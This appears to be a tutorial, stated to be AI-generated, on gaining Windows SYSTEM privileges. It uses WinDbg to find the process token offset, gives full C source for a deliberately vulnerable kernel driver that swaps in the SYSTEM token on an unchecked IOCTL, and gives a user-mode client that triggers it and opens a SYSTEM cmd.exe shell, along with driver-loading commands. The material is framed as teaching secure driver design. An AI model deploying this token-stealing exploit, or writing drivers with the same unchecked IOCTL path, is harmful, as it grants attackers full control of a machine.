# Obtaining SYSTEM privilege via a vulnerable driver using a Userland program

Note: Article generated by Paper generation AI

### Concepts

IOCTL (Input/Output Control) is an interface used by user-mode programs to send commands and data directly to kernel-mode drivers, allowing control or requesting specific operations.&#x20;

IRPs (I/O Request Packets) are structures used in the kernel to represent and manage I/O operations, including requests sent via IOCTL.&#x20;

When a user-mode program sends an IOCTL, the kernel converts this request into an IRP, which is delivered to the driver for processing. Thus, IOCTLs are the means of communication, while IRPs are the processing units in the kernel that make this communication functional.

### Obtaining SYSTEM Token - Debugging with WinDbg

We will explore how to debug a Windows system using WinDbg to analyze processes, locate the `SYSTEM` process, and identify the `Token` field necessary for privilege escalation. Debugging is an essential step in understanding kernel structures and offsets, which is critical when exploiting a vulnerable driver.

#### **1. Setting Up WinDbg for Kernel Debugging**

WinDbg is a powerful tool for analyzing both user-mode and kernel-mode processes. To start debugging a system with WinDbg:

1. **Set Up Kernel Debugging**:
   * Configure a virtual machine or target machine for kernel debugging.
   * Use a debugging connection method (e.g., network or serial). For example, configure network debugging using:

     ```cmd
     bcdedit /debug on
     bcdedit /dbgsettings net hostip:<Windbg_host_debugger_ip> port:50000
     ```
   * Launch WinDbg on the host system and connect using:

     ```cmd
     Ctrl+K -> Enter the connection string (e.g., `key:port`).
     ```
2. **Load Symbols**:
   * Ensure that symbols are loaded for the kernel and system modules:

     ```cmd
     .sympath srv*c:\symbols*http://msdl.microsoft.com/download/symbols
     .reload
     ```

#### **2. Listing Active Processes**

To find the `SYSTEM` process (PID 4), you can list all processes currently running on the system:

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2FVpkF43cPgoX6X2jSDv69%2FVulnerableDriver-1.jpg?alt=media&#x26;token=7824f2c9-85bb-42c9-9c7f-05c3c1e9ca49" alt=""><figcaption></figcaption></figure>

1. **Command to Dump Active Processes**: Use the `!process` command:

   ```cmd
   kd> !process 0 0
   ```

   This command lists all processes with their addresses, PIDs, and names.
2. **Locate the `SYSTEM` Process**: Look for the process with:

   * **PID**: 4
   * **Name**: `System`

   Example output:

   ```
   PROCESS ffff820931a8d040  SessionId: none  Cid: 0004
   DirBase: 0014d002  ObjectTable: ffff0325401400  HandleCount: 3113.
   Image: System
   ```

   * The `PROCESS` structure for `SYSTEM` is at the address `ffff820931a8d040`.

#### **3. Analyzing the `_EPROCESS` Structure**

The `_EPROCESS` structure represents a process in Windows. To manipulate privileges, you need to locate the `Token` field, which controls access rights.

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2Fb1wkJytHD9biqtMRBbvV%2FVulnerableDriver-2.jpg?alt=media&#x26;token=5cc2a941-03ac-42b1-a71e-fafb948e3bbf" alt=""><figcaption></figcaption></figure>

1. **Dump the `_EPROCESS` Structure**: Use the `dt` command to display the layout of `_EPROCESS`:

   ```cmd
   kd> dt nt!_EPROCESS <address>
   ```

   Replace `<address>` with the address of the `SYSTEM` process (`ffff820931a8d040` in this case).

   Example output:

   ```
   +0x4b8 Token            : _EX_FAST_REF
   +0x438 UniqueProcessId  : 0x00000004
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   ```

   * The `Token` field is located at offset `0x4b8`.
   * The `UniqueProcessId` confirms this is the `SYSTEM` process (`PID = 4`).
2. **Understanding the `Token` Field**: The `Token` is an `EX_FAST_REF` structure that references the process's security token. This token defines the permissions of the process.

#### **4. Validating the Target Process**

To ensure that the process at address `ffff820931a8d040` is indeed the `SYSTEM` process, you can use the following checks:

1. **Confirm the Image Name**: Use:

   ```cmd
   kd> !process <address> 1
   ```

   This command outputs details about the process, including the image name (`System`).
2. **Check the `Token` Field**: Validate that the `Token` field exists at offset `0x4b8`:

   ```cmd
   kd> dd <address>+4b8 L1
   ```

   Example output:

   ```
   ffff820931a8d4b8  ffff8209020001e0
   ```

   This value represents the pointer to the security token.

#### **5. Mapping This Information to the Vulnerable Driver**

Now that the `Token` offset is identified (`0x4b8`), you can use it in your driver to perform privilege escalation. The driver can manipulate the `Token` field of the current process to match the `Token` of the `SYSTEM` process, effectively granting `SYSTEM` privileges.

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2FWsiuBJpla1lWvH5qi4Gd%2FVulnerableDriver-3.jpg?alt=media&#x26;token=599aa5d1-9334-4c24-addb-05c95ab5c6ec" alt=""><figcaption></figcaption></figure>

* Code snippet for updating the `Token`:

  ```c
  *(PACCESS_TOKEN*)((char*)currentProcess + 0x4b8) = *(PACCESS_TOKEN*)((char*)systemProcess + 0x4b8);
  ```
* **Debugging with WinDbg**:
  * Use `!process` to locate the `SYSTEM` process (PID 4).
  * Use `dt` to analyze the `_EPROCESS` structure and locate the `Token` field.
* **Key Information**:
  * Address of `SYSTEM` process: `ffff820931a8d040`
  * Offset of `Token` field: `0x4b8`

***

### Developing the Vulneravel Driver

We will delve into the development of a kernel-mode driver designed to showcase privilege escalation. Each function in the driver is carefully crafted to handle specific tasks, and understanding their purpose and implementation is crucial when working with Windows drivers. Below is a detailed explanation of each function in the driver.

#### **1. DriverEntry**

#### **Purpose:**

The `DriverEntry` function is the entry point for a kernel-mode driver. It is invoked when the driver is loaded into memory by the Windows operating system.

#### **Responsibilities:**

* Initialize the driver and its resources.
* Register the driver’s major functions (e.g., for handling IOCTLs, creating handles).
* Create a device object to represent the driver in the system.
* Create a symbolic link for user-mode applications to communicate with the driver.

#### **Code Explanation:**

```c
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    UNREFERENCED_PARAMETER(RegistryPath); // RegistryPath is unused.

    PDEVICE_OBJECT deviceObject;
    NTSTATUS status;

    // Create the device object
    status = IoCreateDevice(
        DriverObject,
        0, // No additional device extension
        &DEVICE_NAME, // Name of the device (\Device\VulnerableDriver)
        FILE_DEVICE_UNKNOWN, // Device type
        0, // Device characteristics
        FALSE, // Not exclusive
        &deviceObject // Output the created device object
    );

    if (!NT_SUCCESS(status)) {
        DbgPrint("Error creating device: %08x\n", status);
        return status; // Exit if the device creation failed
    }

    // Create a symbolic link for user-mode communication
    status = IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME);
    if (!NT_SUCCESS(status)) {
        DbgPrint("Error creating symbolic link: %08x\n", status);
        IoDeleteDevice(deviceObject); // Clean up if symbolic link creation fails
        return status;
    }

    DbgPrint("Device and symbolic link created successfully.\n");

    // Register major functions
    DriverObject->MajorFunction[IRP_MJ_CREATE] = MajorFunctions;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = MajorFunctions;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoControlHandler;
    DriverObject->DriverUnload = DriverUnload;

    return STATUS_SUCCESS; // Successfully loaded the driver
}
```

#### **2. DriverUnload**

#### **Purpose:**

This function is called when the driver is being unloaded. It ensures that all resources allocated by the driver are cleaned up to avoid memory leaks or other issues.

#### **Responsibilities:**

* Delete the symbolic link created during `DriverEntry`.
* Delete the device object associated with the driver.

#### **Code Explanation:**

```c
void DriverUnload(PDRIVER_OBJECT DriverObject) {
    // Delete the symbolic link
    IoDeleteSymbolicLink(&DEVICE_SYMBOLIC_NAME);

    // Delete the device object
    IoDeleteDevice(DriverObject->DeviceObject);

    DbgPrint("Driver unloaded\n"); // Log for debugging
}
```

#### **3. MajorFunctions**

#### **Purpose:**

This function handles IRPs (I/O Request Packets) for operations such as creating or closing handles to the device.

#### **Responsibilities:**

* Respond to `IRP_MJ_CREATE` and `IRP_MJ_CLOSE`.
* Log and complete the IRP without performing any specific operation (for simplicity in this example).

#### **Code Explanation:**

```c
NTSTATUS MajorFunctions(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject); // DeviceObject is unused in this context

    DbgPrint("IRP_MJ_CREATE or IRP_MJ_CLOSE received.\n");

    // Set the status and complete the request
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}
```

#### **4. IoControlHandler**

#### **Purpose:**

This function processes IOCTL (Input/Output Control) requests sent from user-mode applications. It is the key to interacting with the vulnerable functionality of the driver.

#### **Responsibilities:**

* Validate the received IOCTL code.
* Perform operations based on the IOCTL code (e.g., manipulate the `Token` field for privilege escalation).

#### **Code Explanation:**

```c
NTSTATUS IoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject); // DeviceObject is unused in this context

    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    NTSTATUS status = STATUS_SUCCESS;

    if (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_VULNERABLE) {
        __try {
            // Get the current process
            PEPROCESS currentProcess = PsGetCurrentProcess();
            PEPROCESS systemProcess;

            // Get the SYSTEM process
            if (NT_SUCCESS(GetSystemProcess(&systemProcess))) {
                // Replace the token of the current process with SYSTEM's token
                *(PACCESS_TOKEN*)((char*)currentProcess + 0x4b8) = *(PACCESS_TOKEN*)((char*)systemProcess + 0x4b8);
                ObDereferenceObject(systemProcess);
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            status = STATUS_UNSUCCESSFUL; // Handle exceptions gracefully
        }
    } else {
        status = STATUS_INVALID_DEVICE_REQUEST; // Invalid IOCTL code
    }

    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT); // Complete the request
    return status;
}
```

#### **5. GetSystemProcess**

#### **Purpose:**

This helper function retrieves the `PEPROCESS` structure for the `SYSTEM` process (PID 4). It is crucial for privilege escalation as it provides access to the `Token` field of the `SYSTEM` process.

#### **Responsibilities:**

* Open a handle to the `SYSTEM` process.
* Reference the process object to obtain a valid pointer to its `PEPROCESS` structure.

#### **Code Explanation:**

```c
NTSTATUS GetSystemProcess(PEPROCESS* SystemProcess) {
    NTSTATUS status;
    HANDLE hSystemProcess;
    OBJECT_ATTRIBUTES objAttr;
    CLIENT_ID clientId;

    // Initialize the OBJECT_ATTRIBUTES and CLIENT_ID structures
    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    clientId.UniqueProcess = (HANDLE)4; // PID of SYSTEM process
    clientId.UniqueThread = NULL;

    // Open the SYSTEM process
    status = ZwOpenProcess(&hSystemProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
    if (!NT_SUCCESS(status)) {
        return status; // Exit if process handle could not be opened
    }

    // Reference the process object
    status = ObReferenceObjectByHandle(hSystemProcess, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, (PVOID*)SystemProcess, NULL);
    ZwClose(hSystemProcess);

    return status; // Return the status
}
```

#### **6. IoCreateDevice and IoCreateSymbolicLink**

#### **Purpose:**

* `IoCreateDevice`: Creates the device object that represents the driver in the Windows kernel.
* `IoCreateSymbolicLink`: Creates a symbolic link that allows user-mode applications to access the driver.

#### **Code Highlights:**

* `IoCreateDevice`:

  ```c
  IoCreateDevice(
      DriverObject,
      0,
      &DEVICE_NAME,
      FILE_DEVICE_UNKNOWN,
      0,
      FALSE,
      &deviceObject
  );
  ```
* `IoCreateSymbolicLink`:

  ```c
  IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME);
  ```

#### **Key Takeaways**

* **DriverEntry**: Initializes the driver, creates the device, and registers routines.
* **DriverUnload**: Cleans up resources when the driver is unloaded.
* **MajorFunctions**: Handles basic operations like opening/closing handles.
* **IoControlHandler**: Processes IOCTL requests and performs privilege escalation.
* **GetSystemProcess**: Retrieves the `PEPROCESS` structure for the `SYSTEM` process.

**Source code:**  <https://github.com/CyberSecurityUP/Offensive-Windows-Drivers-Development/blob/main/PrivilegeEscalation/GetSystem/VulnerableDriver/Driver.c>

***

### User-Mode Application for Exploiting a Vulnerable Driver

This user-mode application is designed to exploit a kernel-mode driver (`VulnerableDriver`) by sending a specially crafted IOCTL request to escalate privileges to `NT AUTHORITY\SYSTEM`. Below is an explanation of the application, how it interacts with the vulnerable driver, and how each part works.

#### **Overview**

This program uses the Windows API to:

1. Open a handle to the vulnerable driver via its symbolic link.
2. Send a custom IOCTL request (`IOCTL_VULNERABLE`) to the driver using `DeviceIoControl`.
3. Trigger privilege escalation by manipulating the driver's code path.
4. Open a `SYSTEM` shell upon successful privilege escalation.

#### **Code Breakdown**

#### **1. Define IOCTL Code**

The `IOCTL_VULNERABLE` is a custom-defined code that corresponds to the driver's IOCTL handler:

```c
#define IOCTL_VULNERABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
```

* **`FILE_DEVICE_UNKNOWN`**: Specifies that the device type is not predefined.
* **`0x800`**: Function IOCTL code, chosen arbitrarily but must match the driver's code.
* **`METHOD_BUFFERED`**: Indicates the buffering method for input/output data.
* **`FILE_ANY_ACCESS`**: Allows access regardless of the security descriptor.

This code must match the one defined in the vulnerable driver's source.

#### **2. Open a Handle to the Driver**

The `CreateFileW` function opens a handle to the driver's symbolic link (`\\.\VulnerableDriverLink`), allowing the application to communicate with it:

```c
hDevice = CreateFileW(
    L"\\\\.\\VulnerableDriverLink",  // Symbolic link of the driver
    GENERIC_READ | GENERIC_WRITE,    // Required access permissions
    0,                               // No sharing
    NULL,                            // Default security attributes
    OPEN_EXISTING,                   // Open an existing device
    0,                               // No special flags
    NULL                             // No template file
);
```

* **Error Handling**:
  * If `INVALID_HANDLE_VALUE` is returned, `GetLastError` is used to diagnose the problem:
    * `ERROR_ACCESS_DENIED`: User lacks the necessary permissions. The program must run as an administrator.
    * `ERROR_FILE_NOT_FOUND`: The driver is not loaded, or the symbolic link is incorrect.

#### **3. Send the IOCTL Request**

Once the handle is obtained, the application sends the `IOCTL_VULNERABLE` code to the driver using `DeviceIoControl`:

```c
result = DeviceIoControl(
    hDevice,                      // Handle to the device
    IOCTL_VULNERABLE,             // Custom IOCTL code
    inputBuffer, sizeof(inputBuffer),  // Input buffer (not used in this case)
    outputBuffer, sizeof(outputBuffer), // Output buffer (not used in this case)
    &bytesReturned,               // Number of bytes returned
    NULL                          // No OVERLAPPED structure
);
```

* **Purpose**:
  * The `IOCTL_VULNERABLE` code instructs the driver to execute its vulnerable functionality (e.g., modifying the `Token` field for privilege escalation).
* **Error Handling**:
  * If `DeviceIoControl` fails, the error is diagnosed with `GetLastError`.

Common errors include:

* **`ERROR_ACCESS_DENIED`**: Insufficient permissions.
* **`ERROR_INVALID_PARAMETER`**: Mismatch in input/output buffer sizes or parameters.
* **`ERROR_FILE_NOT_FOUND`**: Driver or device not found.

#### **4. Execute Privilege Escalation**

If the IOCTL call succeeds, the driver modifies the `Token` field of the current process to match the `SYSTEM` process's `Token`. This grants the user `SYSTEM` privileges.

```c
printf("Send IOCTL Sucess!! PrivEsc to NT SYSTEM\n");
```

#### **5. Open a SYSTEM Shell**

Finally, the application spawns a command shell (`cmd.exe`) with `SYSTEM` privileges:

```c
printf("Open Shell SYSTEM\n");
system("cmd.exe");
```

At this point, the user has elevated privileges and full control of the system.

#### **How It Works with the Driver**

1. **Driver's Role**:
   * The vulnerable driver exposes an IOCTL handler (`IoControlHandler`) that processes `IOCTL_VULNERABLE`.
   * When the user-mode application sends the IOCTL, the driver:
     * Accesses the `EPROCESS` structure of the `SYSTEM` process (PID 4).
     * Copies the `Token` field from the `SYSTEM` process to the current process.
   * This operation effectively grants `SYSTEM` privileges to the calling process.
2. **Exploitation Process**:
   * The user-mode application:
     * Opens a handle to the driver.
     * Sends the custom IOCTL.
   * The driver performs the privilege escalation.
   * The application gains `SYSTEM` privileges and opens a privileged shell.

### **Execution Flow**

1. **Start the Vulnerable Driver**: Load and start the vulnerable driver on the system:

   ```cmd
   sc create VulnerableDriver type= kernel binPath= "C:\path\to\VulnerableDriver.sys"
   sc start VulnerableDriver
   ```
2. **Run the Exploit Application**: Execute the compiled user-mode application as an administrator:

   ```cmd
   UserModeApp.exe
   ```
3. **Outcome**:
   * If successful, the application outputs:

     ```
     Dispositivo aberto com sucesso.
     Send IOCTL Sucess!! PrivEsc to NT SYSTEM
     Open Shell SYSTEM
     ```
   * A `SYSTEM` shell (`cmd.exe`) is opened.

**Alternative using OSR Loader**

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2FIYBJOVpSuo06kxUHPnSa%2Fimage.png?alt=media&#x26;token=8a538342-a63f-4245-ae04-9a4ab02f9a7d" alt=""><figcaption></figcaption></figure>

Register Service and Start Service from your driver

Download: [https://www.osronline.com/article.cfm%5Earticle=157.htm](https://www.osronline.com/article.cfm^article=157.htm)

#### Sucessful

Run the UserMode.exe program with the driver initialized and if everything goes well you will obtain the SYSTEM TOKEN

<figure><img src="https://1546816993-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCdjODEKoQIrRdI6puyW2%2Fuploads%2F87XNhW3TJcjAS4xKkWFs%2FVulnerableDriver-12.jpg?alt=media&#x26;token=e39fe138-8204-4ffb-bbdf-174af32e4fd5" alt=""><figcaption><p>End result is NT/SYSTEM privilege</p></figcaption></figure>

***

#### **Key Takeaways**

* The user-mode application exploits the driver's improper validation of IOCTL requests.
* By sending a crafted IOCTL, it triggers the driver to escalate privileges by modifying the `Token` field in the current process's `EPROCESS` structure.
* This highlights the critical importance of secure IOCTL validation in kernel-mode drivers.

This user-mode application serves as a demonstration of how improperly designed drivers can be exploited, emphasizing the need for secure kernel development practices.

**References**:

<https://www.loldrivers.io/drivers/>

<https://medium.com/@VL1729_JustAT3ch/just-want-to-talk-to-this-windows-kernel-driver-6642f9d27dc9>

<https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes>

<https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/sending-commands-from-userland-to-your-kernel-driver-using-ioctl#defining-custom-ioctl>

{% embed url="<https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/>" %}
